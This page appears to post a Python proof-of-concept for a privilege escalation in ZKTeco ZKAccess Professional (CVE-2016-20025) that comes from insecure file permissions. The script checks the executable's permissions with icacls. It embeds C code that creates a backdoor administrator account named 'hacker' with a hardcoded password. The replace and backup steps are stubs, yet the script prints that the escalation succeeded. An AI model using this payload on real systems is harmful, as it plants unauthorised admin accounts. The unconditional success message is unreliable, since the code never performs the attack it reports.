CVE-2016-20025 ZKTeco ZKAccess Professional 不安全文件权限权限提升漏洞

#!/usr/bin/env python3 """ CVE-2016-20025 PoC - ZKTeco ZKAccess Professional Privilege Escalation This PoC demonstrates the insecure file permissions vulnerability. WARNING: For authorized security testing only. """ import os import sys import ctypes import subprocess def check_file_permissions(file_path): """ Check if the target file has insecure permissions """ try: # Use icacls to check current permissions result = subprocess.run( ['icacls', file_path], capture_output=True, text=True ) print(f"[*] Current permissions for {file_path}:") print(result.stdout) # Check if Authenticated Users has Modify/Write permission if 'Authenticated Users:(I)(M)' in result.stdout or 'Authenticated Users:(I)(W)' in result.stdout: print("[!] VULNERABLE: Authenticated Users has Modify/Write permission") return True return False except Exception as e: print(f"[-] Error checking permissions: {e}") return False def create_malicious_executable(output_path): """ Generate a malicious executable that creates an admin user This creates a simple Windows executable that adds a new admin """ # This would be compiled C code or use msfvenom in real scenario # For demonstration, showing the concept malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Create new admin user for privilege escalation system("net user hacker P@ssw0rd123 /add"); system("net localgroup Administrators hacker /add"); // Spawn elevated shell system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); return 0; } ''' print(f"[*] Malicious executable would be saved to: {output_path}") return True def exploit_vulnerability(target_exe, backup_exe): """ Execute the privilege escalation exploit """ print(f"[*] Starting privilege escalation attack...") # Step 1: Check current permissions if not check_file_permissions(target_exe): print("[-] Target is not vulnerable") return False # Step 2: Backup original executable print(f"[*] Backing up {target_exe}") try: # In real attack: copy target_exe backup_exe pass except: pass # Step 3: Create and deploy malicious executable print("[*] Deploying malicious executable...") create_malicious_executable(target_exe) # Step 4: Wait for privilege escalation trigger print("[*] Malicious file deployed. Waiting for system restart or admin execution...") print("[+] Privilege escalation successful - check for new admin user") return True if __name__ == "__main__": target = r"C:\Program Files\ZKTeco\ZKAccess\ZKAccess.exe" backup = r"C:\Temp\ZKAccess_backup.exe" print("CVE-2016-20025 PoC - ZKTeco ZKAccess Privilege Escalation") print("=" * 60) # Check if running with appropriate privileges if ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as Administrator - can verify vulnerability") else: print("[*] Running as limited user - simulating attack scenario") exploit_vulnerability(target, backup)